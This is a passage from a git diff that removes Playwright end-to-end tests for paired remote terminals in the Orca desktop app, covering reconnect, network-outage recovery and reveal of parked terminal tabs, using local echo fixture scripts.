- } - await test - .info() - .attach('host-terminal-park', { - body: JSON.stringify(diagnostic, null, 2), - contentType: 'application/json' - }) - .catch((error: unknown) => { - diagnostic.attachmentError = String(error) - }) - const evidence = JSON.stringify(diagnostic, null, 2) - expect(stop.stopped, evidence).toBe(1) - expect(stop.stoppedPtyIds, evidence).toEqual([options.expectedPtyId]) - expect(parked, evidence).toBe(true) - return - } - // Set mismatch also confirms the no-longer-live PTY is parked when stop verification misses exit. - if ( - lastError.includes('terminal_stop_pty_set_mismatch') || - (await hostSurfaceStatus(page, environmentId, worktreeId, parentTabId)) !== 'ready' - ) { - return - } - await page.waitForTimeout(1_000) - } - throw new Error(`Host never parked the fixture terminal: ${lastError}`) -} - -async function runMaterializationJourney( - page: Page, - environmentId: string, - worktreeId: string -): Promise { - writeFileSync(processedInputPath, '') - const created = await callRuntime<{ - tab: { parentTabId: string; terminal: string | null } - }>(page, environmentId, 'session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - command: fixtureCommand(), - activate: false, - select: false, - navigation: 'caller' - }) - const originalHandle = created.tab.terminal - if (!originalHandle) { - throw new Error('Host did not publish the fixture terminal') - } - - const webTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await page.evaluate((id) => window.__store?.getState().setActiveWorktree(id), worktreeId) - const tab = page.locator(`[data-testid="sortable-tab"][data-tab-id="${webTabId}"]`) - await expect(tab).toBeVisible({ timeout: 30_000 }) - await tab.click() - await expect(tab).toHaveAttribute('data-active', 'true') - const originalClientPtyId = await waitForActivePanePtyId(page, 30_000) - await expect - .poll(() => getTerminalContent(page), { timeout: 30_000 }) - .toContain('MATERIALIZE_READY') - - const originalTerminal = await callRuntime<{ terminal: RuntimeTerminalShow }>( - page, - environmentId, - 'terminal.show', - { terminal: originalHandle } - ) - if (!originalTerminal.terminal.ptyId) { - throw new Error('Host fixture terminal has no authoritative PTY') - } - await page.evaluate((terminal) => { - const gate = ( - window as typeof window & { - __remoteTerminalMultiplexAckGate?: { holdEnd: (terminals: string[]) => void } - } - ).__remoteTerminalMultiplexAckGate - if (!gate) { - throw new Error('Remote terminal fault gate is unavailable') - } - gate.holdEnd([terminal]) - }, originalHandle) - await parkHostTerminal(page, environmentId, worktreeId, created.tab.parentTabId, { - expectedPtyId: originalTerminal.terminal.ptyId, - original: originalTerminal.terminal - }) - // Require an already-parked surface before applying the stale error. - await expect - .poll(() => hostSurfaceStatus(page, environmentId, worktreeId, created.tab.parentTabId), { - timeout: 15_000, - message: 'Host never published the stopped pane as pending-handle' - }) - .toBe('pending-handle') - const dispatched = await page.evaluate((terminal) => { - const gate = ( - window as typeof window & { - __remoteTerminalMultiplexAckGate?: { - forceError: (terminals: string[], message: string) => number - release: () => void - } - } - ).__remoteTerminalMultiplexAckGate - if (!gate) { - throw new Error('Remote terminal fault gate is unavailable') - } - const dispatched = gate.forceError([terminal], 'terminal_handle_stale') - gate.release() - return dispatched - }, originalHandle) - expect(dispatched).toBe(1) - - let replacementHandle: string | null = null - await expect - .poll( - async () => { - const snapshot = await callRuntime( - page, - environmentId, - 'session.tabs.list', - { worktree: `id:${worktreeId}` } - ) - const surface = snapshot.tabs.find( - (candidate) => - candidate.type === 'terminal' && candidate.parentTabId === created.tab.parentTabId - ) - replacementHandle = surface?.type === 'terminal' ? surface.terminal : null - return replacementHandle !== null && replacementHandle !== originalHandle - }, - { timeout: 20_000, message: 'Reconnect never materialized the sleeping host surface' } - ) - .toBe(true) - expect(replacementHandle).not.toBeNull() - - // Reselect after host parking clears client selection, then read the rebound PTY. - await page.evaluate((id) => window.__store?.getState().setActiveWorktree(id), worktreeId) - await expect(tab).toBeVisible({ timeout: 10_000 }) - await tab.click() - await expect(tab).toHaveAttribute('data-active', 'true') - const replacementClientPtyId = await waitForActivePanePtyId(page, 20_000) - expect(replacementClientPtyId).not.toBe(originalClientPtyId) - - const marker = `MATERIALIZED_${Date.now()}` - await callRuntime(page, environmentId, 'terminal.send', { - terminal: replacementHandle, - text: `echo ${marker}\r`, - client: { id: 'paired-materialization-e2e', type: 'desktop' } - }) - await expect - .poll( - async () => { - const read = await callRuntime<{ terminal: RuntimeTerminalRead }>( - page, - environmentId, - 'terminal.read', - { terminal: replacementHandle } - ) - return read.terminal.tail.join('\n') - }, - { timeout: 10_000 } - ) - .toContain(marker) - await page.evaluate(async (id) => { - await window.__store?.getState().setActiveWorktree(id) - }, worktreeId) - await expect(tab).toBeVisible({ timeout: 10_000 }) - await tab.click() - await expect.poll(() => getTerminalContent(page), { timeout: 10_000 }).toContain(marker) - - await expect - .poll(async () => { - const listed = await readFreshTerminalInventory(() => - callRuntime(page, environmentId, 'terminal.list', { - worktree: `id:${worktreeId}`, - requireFreshPtyLiveness: true - }) - ) - return listed?.terminals.filter((terminal) => terminal.tabId === created.tab.parentTabId) - }) - .toHaveLength(1) - await callRuntime(page, environmentId, 'terminal.closeTab', { terminal: replacementHandle }) -} - -test('materializes a stopped terminal on reconnect from a headed paired host', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(120_000) - const worktreeId = await orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId) - if (!worktreeId) { - throw new Error('Headed host has no active seeded workspace') - } - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedElectronClient(offer, testInfo, 'headed-materialization-client') - try { - await showClient(client.app, client.page) - await runMaterializationJourney( - client.page, - client.environmentId, - await waitForClientWorktree(client.page, worktreeId) - ) - expect(await client.getDirectSshAttemptTargetIds()).toEqual([]) - } finally { - await client.dispose() - } -}) - -test('materializes a stopped terminal on reconnect from a headless folder host', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(150_000) - const host = await launchHeadlessPairedRuntimeHost() - await host.client.call('repo.add', { path: testRepoPath, kind: 'folder' }) - const client = await launchPairedElectronClient( - host.offer, - testInfo, - 'headless-folder-materialization-client' - ).catch(async (error) => { - await host.dispose() - throw error - }) - try { - await showClient(client.app, client.page) - await runMaterializationJourney( - client.page, - client.environmentId, - await waitForClientWorktree(client.page) - ) - expect(await client.getDirectSshAttemptTargetIds()).toEqual([]) - } finally { - await client.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/paired-remote-terminal-network-outage.spec.ts b/tests/e2e/paired-remote-terminal-network-outage.spec.ts deleted file mode 100644 index 692e784104d..00000000000 --- a/tests/e2e/paired-remote-terminal-network-outage.spec.ts +++ /dev/null @@ -1,248 +0,0 @@ -// After a network outage, the open paired terminal must accept typing again without process restart or manual Reconnect. -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { - decodePairingOffer, - encodePairingOffer -} from '../../src/shared/remote-runtime/pairing/pairing' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { cleanupE2EDaemons } from './helpers/electron-process-shutdown' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { startFreezableTcpProxy, type FreezableTcpProxy } from './helpers/freezable-tcp-proxy' - -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-terminal-outage-')) -const fixturePath = path.join(scratch, 'outage-terminal.mjs') - -writeFileSync( - fixturePath, - [ - "import { appendFileSync } from 'node:fs'", - 'const sink = process.argv[2]', - "process.stdout.write('READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines) {', - ' appendFileSync(sink, `${line}\\n`)', - ' process.stdout.write(`LIVE:${line}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(sinkPath: string): string { - const command = [process.execPath, fixturePath, sinkPath] - return process.platform === 'win32' - ? `& ${command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ')}` - : command.map(quotePosixShell).join(' ') -} - -function readText(filePath: string): string { - try { - return readFileSync(filePath, 'utf8') - } catch { - return '' - } -} - -async function callRuntime( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: test-only RPC result shape. - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -type PaneProbe = { content: string; ptyId: string | null; recovery: string | null } - -async function readPane(page: Page, webTabId: string): Promise { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return { - content: pane?.serializeAddon?.serialize?.() ?? '', - ptyId: pane?.container.dataset.ptyId ?? null, - recovery: pane?.container.dataset.ptyRecoveryState ?? null - } - }, webTabId) -} - -async function typeIntoPane(page: Page, webTabId: string, text: string): Promise { - await page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error(`No pane mounted for ${id}`) - } - pane.terminal.focus() - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm always renders its helper textarea. - const textarea = pane.container.querySelector('.xterm-helper-textarea') as HTMLTextAreaElement - textarea.focus() - }, webTabId) - await page.keyboard.type(text) - await page.keyboard.press('Enter') -} - -const OUTAGES = [ - { mode: 'silent', ms: 30_000, label: '30 s' }, - { mode: 'reset', ms: 30_000, label: '30 s' }, - // Why: outlasts the pane's ~3 min auto-recovery window, with no `online` event when it returns. - { mode: 'silent', ms: 200_000, label: 'long' } -] as const - -for (const { mode, ms, label } of OUTAGES) { - test(`an open remote terminal answers typing again after a ${label} ${mode} network outage`, async ({ - testRepoPath - }, testInfo) => { - test.setTimeout(ms + 330_000) - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - let proxy: FreezableTcpProxy | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const decoded = decodePairingOffer(host.offer.pairingUrl) - if (!('endpoint' in decoded)) { - throw new Error('expected a direct pairing offer') - } - const endpoint = new URL(decoded.endpoint) - proxy = await startFreezableTcpProxy(endpoint.hostname, Number(endpoint.port)) - endpoint.port = String(proxy.port) - client = await launchPairedElectronClient( - { pairingUrl: encodePairingOffer({ ...decoded, endpoint: endpoint.toString() }) }, - testInfo, - `terminal ${mode} outage` - ) - const page = client.page - const environmentId = client.environmentId - await expect - .poll(() => page.evaluate(() => window.__store?.getState().allWorktrees()[0]?.id ?? null), { - timeout: 60_000 - }) - .not.toBeNull() - const worktreeId = await page.evaluate(() => window.__store!.getState().allWorktrees()[0]!.id) - const sinkPath = path.join(scratch, `${mode}.log`) - const created = await callRuntime<{ tab: { parentTabId: string; terminal: string | null } }>( - page, - environmentId, - 'session.tabs.createTerminal', - { - worktree: `id:${worktreeId}`, - command: fixtureCommand(sinkPath), - activate: false, - select: false, - navigation: 'caller' - } - ) - expect(created.tab.terminal).toBeTruthy() - const webTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await expect - .poll( - () => - page.evaluate( - ({ worktreeId, webTabId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === webTabId - ), - { worktreeId, webTabId } - ), - { timeout: 60_000 } - ) - .toBe(true) - await page.evaluate( - ({ worktreeId, webTabId }) => { - const state = window.__store!.getState() - state.setActiveView('terminal') - state.setActiveWorktree(worktreeId) - state.setActiveTab(webTabId) - state.setActiveTabType('terminal', worktreeId) - }, - { worktreeId, webTabId } - ) - await expect - .poll(async () => (await readPane(page, webTabId)).content, { timeout: 60_000 }) - .toContain('READY') - await typeIntoPane(page, webTabId, 'before') - await expect - .poll(async () => (await readPane(page, webTabId)).content, { timeout: 15_000 }) - .toContain('LIVE:before') - const ptyBefore = (await readPane(page, webTabId)).ptyId - - proxy.cut(mode) - await page.waitForTimeout(ms) - proxy.restore() - - const marker = `after_${mode}_${Date.now()}` - // Why retyped: typing during recovery may be dropped by design; the pane must answer once back. - try { - await expect - .poll( - async () => { - if (!readText(sinkPath).includes(marker)) { - await typeIntoPane(page, webTabId, marker) - } - return (await readPane(page, webTabId)).content - }, - { timeout: 120_000, intervals: [5_000] } - ) - .toContain(`LIVE:${marker}`) - } catch (error) { - const probe = await readPane(page, webTabId) - const evidence = { - ...probe, - content: probe.content.slice(-600), - ptyBefore, - sink: readText(sinkPath), - sharedControl: await page.evaluate( - async (id) => - (await window.api.runtimeEnvironments.list()).find((entry) => entry.id === id) ?? - null, - environmentId - ), - proxyEvents: proxy.events - } - console.log('[outage] evidence', JSON.stringify(evidence)) - await page.screenshot({ path: testInfo.outputPath('after-outage.png') }) - throw error - } - expect((await readPane(page, webTabId)).ptyId).toBe(ptyBefore) - } finally { - if (client) { - await cleanupE2EDaemons(client.userDataDir).catch(() => undefined) - await client.dispose() - } - await proxy?.close() - await host.dispose() - } - }) -} diff --git a/tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts b/tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts deleted file mode 100644 index b2f931e488a..00000000000 --- a/tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts +++ /dev/null @@ -1,541 +0,0 @@ -// Reveal a hidden/parked terminal on a paired desktop and require live input/echo without a tab flip. -// Use a desktop host and client; keep an asserted sibling stream alive so closeIfIdle cannot release the old wedged multiplexer. -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import { randomUUID } from 'node:crypto' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { - HOST_TERMINAL_SURFACE_SEPARATOR, - toWebTerminalSurfaceTabId -} from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { focusActiveTerminalInput } from './helpers/terminal' -import { waitForTabParked } from './helpers/terminal-hidden-parking' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const PARK_DELAY_MS = 2_000 -const LIVE_PAINT_BUDGET_MS = 12_000 -const REVEAL_BUDGET_MS = 20_000 -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-parked-reveal-')) -const fixturePath = path.join(scratch, 'parked-reveal-terminal.mjs') -writeFileSync( - fixturePath, - [ - "import { appendFileSync } from 'node:fs'", - 'const sink = process.argv[2]', - 'const size = () => `${process.stdout.columns}x${process.stdout.rows}`', - 'const record = (line) => appendFileSync(sink, `${line}\\n`)', - 'record(`READY:${size()}`)', - 'process.stdout.write(`READY:${size()}\\r\\n`)', - "process.stdout.on('resize', () => {", - ' record(`SIZE:${size()}`)', - ' process.stdout.write(`SIZE:${size()}\\r\\n`)', - '})', - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines) {', - ' record(`LINE:${line}`)', - ' process.stdout.write(`LINE:${line}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(sinkPath: string): string { - const command = [process.execPath, fixturePath, sinkPath] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -function readSink(sinkPath: string): string { - try { - return readFileSync(sinkPath, 'utf8') - } catch { - return '' - } -} - -async function callEnvironment( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -type HostTerminal = { - hostTabId: string - sinkPath: string - terminal: string - webTabId: string -} - -async function createHostTerminal( - page: Page, - environmentId: string, - worktreeId: string -): Promise { - const sinkPath = path.join(scratch, `sink-${randomUUID()}.log`) - const result = await callEnvironment<{ tab: { id: string; terminal: string | null } }>( - page, - environmentId, - 'session.tabs.createTerminal', - { - worktree: `id:${worktreeId}`, - command: fixtureCommand(sinkPath), - activate: false, - select: false, - navigation: 'caller' - } - ) - if (!result.tab.terminal) { - throw new Error('host session terminal was not created') - } - // Why: the host answers with a `tabId::leafId` surface id; client tabs mirror the parent tab. - const hostTabId = result.tab.id.split(HOST_TERMINAL_SURFACE_SEPARATOR)[0] - return { - hostTabId, - sinkPath, - terminal: result.tab.terminal, - webTabId: toWebTerminalSurfaceTabId(hostTabId) - } -} - -async function openClientTab(page: Page, worktreeId: string, webTabId: string): Promise { - await expect - .poll( - () => - page.evaluate( - (id) => (window.__store?.getState().tabsByWorktree[id] ?? []).map((tab) => tab.id), - worktreeId - ), - { timeout: 60_000, message: `client never mirrored host tab ${webTabId}` } - ) - .toContain(webTabId) - await page.evaluate( - ({ webTabId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - state?.setActiveTab(webTabId) - state?.setActiveTabType('terminal', worktreeId) - }, - { webTabId, worktreeId } - ) - await expect - .poll(() => page.evaluate((id) => window.__paneManagers?.has(id) ?? false, webTabId), { - timeout: 60_000, - message: `client pane for ${webTabId} did not mount` - }) - .toBe(true) -} - -async function readActivePaneGrid( - page: Page, - webTabId: string -): Promise<{ cols: number; rows: number } | null> { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane ? { cols: pane.terminal.cols, rows: pane.terminal.rows } : null - }, webTabId) -} - -/** The pane's grid, or null while it differs from what its container fits. */ -async function readFittedPaneGrid( - page: Page, - webTabId: string -): Promise<{ cols: number; rows: number } | null> { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const fit = pane?.fitAddon.proposeDimensions() - if (!pane || !fit || pane.terminal.cols !== fit.cols || pane.terminal.rows !== fit.rows) { - return null - } - return { cols: fit.cols, rows: fit.rows } - }, webTabId) -} - -// Read this tab’s buffer; active-tab lookup can hide reveal failures. -async function readPaneContent(page: Page, webTabId: string): Promise { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.serializeAddon?.serialize?.() ?? '' - }, webTabId) -} - -async function readPaneDiagnostics( - page: Page, - worktreeId: string, - webTabId: string -): Promise { - return page.evaluate( - ({ webTabId, worktreeId }) => { - const manager = window.__paneManagers?.get(webTabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const state = window.__store?.getState() - const tab = (state?.tabsByWorktree[worktreeId] ?? []).find((entry) => entry.id === webTabId) - return { - mounted: Boolean(manager), - ptyId: pane?.container?.dataset?.ptyId ?? null, - recoveryState: pane?.container?.dataset?.ptyRecoveryState ?? null, - cols: pane?.terminal?.cols ?? null, - rows: pane?.terminal?.rows ?? null, - bufferLength: pane?.serializeAddon?.serialize?.()?.length ?? null, - paneLeafIds: manager?.getPanes?.().map((entry) => entry.leafId ?? null) ?? null, - storeTabPtyId: tab?.ptyId ?? null, - storePtyIdsByTab: state?.ptyIdsByTabId?.[webTabId] ?? null - } - }, - { webTabId, worktreeId } - ) -} - -async function waitForPaneMarker( - page: Page, - webTabId: string, - marker: string, - budgetMs: number -): Promise { - const deadline = Date.now() + budgetMs - while (Date.now() < deadline) { - if ((await readPaneContent(page, webTabId)).includes(marker)) { - return true - } - await new Promise((resolve) => setTimeout(resolve, 250)) - } - return false -} - -function readPtyGridFromContent(content: string): { cols: number; rows: number } | null { - const sizes = [...content.matchAll(/(?:READY|SIZE):(\d+)x(\d+)/g)] - const last = sizes.at(-1) - return last ? { cols: Number(last[1]), rows: Number(last[2]) } : null -} - -type ScenarioResult = { - name: string - restoredBuffer: boolean - hostReceivedInput: boolean - paintedLive: boolean - paintedAfterFlip: boolean - paneGrid: { cols: number; rows: number } | null - ptyGrid: { cols: number; rows: number } | null - diagnostics: unknown -} - -// Record host input receipt, live client echo and, on failure, the tab-flip workaround. -async function probeInteractivity( - page: Page, - worktreeId: string, - target: HostTerminal, - flipTo: HostTerminal, - name: string -): Promise { - const token = `probe-${name}` - // Why: a human types once the pane looks restored; typing earlier would race the reattach. - const restoredBuffer = await waitForPaneMarker(page, target.webTabId, 'READY:', REVEAL_BUDGET_MS) - await focusActiveTerminalInput(page) - await page.keyboard.type(token) - await page.keyboard.press('Enter') - const paintedLive = await waitForPaneMarker( - page, - target.webTabId, - `LINE:${token}`, - LIVE_PAINT_BUDGET_MS - ) - let paneGrid = await readActivePaneGrid(page, target.webTabId) - let ptyGrid = readPtyGridFromContent(readSink(target.sinkPath)) - console.log(`[paired-grid-initial] ${JSON.stringify({ name, paneGrid, ptyGrid })}`) - const diagnostics = await readPaneDiagnostics(page, worktreeId, target.webTabId) - const screenshotPath = test.info().outputPath(`paired-terminal-${name}.png`) - await page.screenshot({ path: screenshotPath }) - await test.info().attach(`paired-terminal-${name}`, { - path: screenshotPath, - contentType: 'image/png' - }) - let paintedAfterFlip = paintedLive - if (!paintedLive) { - await openClientTab(page, worktreeId, flipTo.webTabId) - await openClientTab(page, worktreeId, target.webTabId) - paintedAfterFlip = await waitForPaneMarker( - page, - target.webTabId, - `LINE:${token}`, - LIVE_PAINT_BUDGET_MS - ) - } - // Preserve the scenario report even when geometry fails to converge. - await expect - .configure({ soft: true }) - .poll( - async () => { - paneGrid = await readActivePaneGrid(page, target.webTabId) - ptyGrid = readPtyGridFromContent(readSink(target.sinkPath)) - return { - paneGrid, - ptyGrid, - converged: - paneGrid !== null && - ptyGrid !== null && - paneGrid.cols > 0 && - paneGrid.rows > 0 && - paneGrid.cols === ptyGrid.cols && - paneGrid.rows === ptyGrid.rows - } - }, - { - timeout: REVEAL_BUDGET_MS, - message: `${name}: revealed pane and host PTY grids did not converge` - } - ) - .toMatchObject({ converged: true }) - const sink = readSink(target.sinkPath) - return { - name, - restoredBuffer, - hostReceivedInput: sink.includes(`LINE:${token}`), - paintedLive, - paintedAfterFlip, - paneGrid, - ptyGrid, - diagnostics - } -} - -// Require a sibling stream at reveal; S1 also requires its target never parked. -async function expectStillMounted(page: Page, webTabId: string, label: string): Promise { - expect( - await page.evaluate((id) => window.__paneManagers?.has(id) ?? false, webTabId), - `${label} parked before the reveal it is supposed to survive` - ).toBe(true) -} - -/** Logged unconditionally: on failure this line is the whole diagnosis. */ -function logResult(result: ScenarioResult): ScenarioResult { - console.log(`[paired-reveal] ${JSON.stringify(result)}`) - return result -} - -async function seedScenario( - client: PairedElectronClient, - worktreeId: string -): Promise<{ target: HostTerminal; decoys: HostTerminal[] }> { - const target = await createHostTerminal(client.page, client.environmentId, worktreeId) - const decoys = [ - await createHostTerminal(client.page, client.environmentId, worktreeId), - await createHostTerminal(client.page, client.environmentId, worktreeId) - ] - await openClientTab(client.page, worktreeId, target.webTabId) - await expect - .poll(() => readPaneContent(client.page, target.webTabId), { - timeout: 60_000, - message: 'target terminal never painted its READY marker' - }) - .toContain('READY:') - return { target, decoys } -} - -test('paired client keeps revealed remote terminals interactive', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(600_000) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - // Restore the inherited parking delay so reused workers cannot leak it to later specs. - const previousParkDelay = process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS - process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS = String(PARK_DELAY_MS) - const client = await launchPairedElectronClient(offer, testInfo, 'parked-reveal') - const createdTerminals: string[] = [] - const results: ScenarioResult[] = [] - try { - const worktreeId = await orcaPage.evaluate(() => { - const id = window.__store?.getState().activeWorktreeId - if (!id) { - throw new Error('headed host has no active worktree') - } - return id - }) - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000, message: 'paired client never saw the host worktree' } - ) - .toBe(true) - await client.page.evaluate((id) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(id) - }, worktreeId) - - // S1 — hidden tab that stays mounted, then revealed. - { - const { target, decoys } = await seedScenario(client, worktreeId) - createdTerminals.push(target.terminal, ...decoys.map((decoy) => decoy.terminal)) - await openClientTab(client.page, worktreeId, decoys[0].webTabId) - const originalGrid = await readActivePaneGrid(client.page, target.webTabId) - await client.page.setViewportSize({ width: 960, height: 800 }) - // Why fitted: a late reveal replay briefly parses at the host's old grid before refitting (#7279, #18132). - const fitted: { lastKey: string | null; settled: { cols: number; rows: number } | null } = { - lastKey: null, - settled: null - } - await expect - .poll( - async () => { - const grid = await readFittedPaneGrid(client.page, decoys[0].webTabId) - const key = grid && JSON.stringify(grid) - const isNewFit = key !== null && key !== JSON.stringify(originalGrid) - fitted.settled = isNewFit && key === fitted.lastKey ? grid : null - fitted.lastKey = isNewFit ? key : null - return fitted.settled !== null - }, - { timeout: 60_000, message: 'decoy never settled at the new viewport fit' } - ) - .toBe(true) - const revealGrid = fitted.settled - if (!revealGrid) { - throw new Error('visible decoy has no grid') - } - // Hidden xterm changes locally, but its authority gate drops the PTY resize. - await client.page.evaluate( - ({ id, grid }) => { - const pane = window.__paneManagers?.get(id)?.getPanes()[0] - if (!pane) { - throw new Error('hidden target parked before resize injection') - } - pane.terminal.resize(grid.cols, grid.rows) - }, - { id: target.webTabId, grid: revealGrid } - ) - expect(readPtyGridFromContent(readSink(target.sinkPath))).toEqual(originalGrid) - expect(await readActivePaneGrid(client.page, target.webTabId)).toEqual(revealGrid) - expect(revealGrid).not.toEqual(originalGrid) - // Pins the scenario label: this reveal must not have gone through a park. - await expectStillMounted(client.page, target.webTabId, 'hidden-mounted target') - await openClientTab(client.page, worktreeId, target.webTabId) - results.push( - logResult( - await probeInteractivity(client.page, worktreeId, target, decoys[1], 'hidden-mounted') - ) - ) - } - - // S2 — cold-parked tab (renderer unmounted), then revealed. - { - const { target, decoys } = await seedScenario(client, worktreeId) - createdTerminals.push(target.terminal, ...decoys.map((decoy) => decoy.terminal)) - await openClientTab(client.page, worktreeId, decoys[0].webTabId) - await openClientTab(client.page, worktreeId, decoys[1].webTabId) - await waitForTabParked(client.page, target.webTabId, { parkDelayMs: PARK_DELAY_MS }) - await expectStillMounted(client.page, decoys[1].webTabId, 'cold-parked flip decoy') - await openClientTab(client.page, worktreeId, target.webTabId) - results.push( - logResult( - await probeInteractivity(client.page, worktreeId, target, decoys[1], 'cold-parked') - ) - ) - } - - // S3: reconnect the runtime while the target remains cold-parked. - { - const { target, decoys } = await seedScenario(client, worktreeId) - createdTerminals.push(target.terminal, ...decoys.map((decoy) => decoy.terminal)) - await openClientTab(client.page, worktreeId, decoys[0].webTabId) - await openClientTab(client.page, worktreeId, decoys[1].webTabId) - await waitForTabParked(client.page, target.webTabId, { parkDelayMs: PARK_DELAY_MS }) - await client.page.evaluate(async (selector) => { - await window.api.runtimeEnvironments.disconnect({ selector }) - }, client.environmentId) - await expect - .poll( - async () => - client.page.evaluate(async (selector) => { - const response = await window.api.runtimeEnvironments.connect({ selector }) - return response.ok - }, client.environmentId), - { timeout: 60_000, message: 'paired client never reconnected to the host runtime' } - ) - .toBe(true) - await expectStillMounted(client.page, decoys[1].webTabId, 'reconnect-parked flip decoy') - await openClientTab(client.page, worktreeId, target.webTabId) - results.push( - logResult( - await probeInteractivity(client.page, worktreeId, target, decoys[1], 'reconnect-parked') - ) - ) - } - - for (const result of results) { - expect( - { - scenario: result.name, - restoredBuffer: result.restoredBuffer, - hostReceivedInput: result.hostReceivedInput, - paintedLive: result.paintedLive - }, - `${result.name}: revealed pane was not interactive (painted after tab flip: ${result.paintedAfterFlip})` - ).toEqual({ - scenario: result.name, - restoredBuffer: true, - hostReceivedInput: true, - paintedLive: true - }) - expect( - { scenario: result.name, ptyGrid: result.ptyGrid }, - `${result.name}: host PTY geometry never converged on the revealed pane grid` - ).toEqual({ scenario: result.name, ptyGrid: result.paneGrid }) - } - } finally { - if (previousParkDelay === undefined) { - delete process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS - } else { - process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS = previousParkDelay - } - for (const terminal of createdTerminals) { - await callEnvironment(client.page, client.environmentId, 'terminal.closeTab', { - terminal - }).catch(() => undefined) - } - await client.dispose() - } -}) diff --git a/tests/e2e/paired-remote-terminal-parked-scrollback-restart.spec.ts b/tests/e2e/paired-remote-terminal-parked-scrollback-restart.spec.ts deleted file mode 100644 index 0af1cc34063..00000000000 --- a/tests/e2e/paired-remote-terminal-parked-scrollback-restart.spec.ts +++ /dev/null @@ -1,346 +0,0 @@ -// #21295: require parked scrollback in the remote host’s disk partition across client restart. -// Clean quit’s full checkpoint is the control; SIGKILL isolates the debounced layout-only patch that previously misrouted into local. -// Scan every persisted partition and fail missing DBs; reveal alone can be repainted from the live host’s tail and cannot prove client persistence. -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { 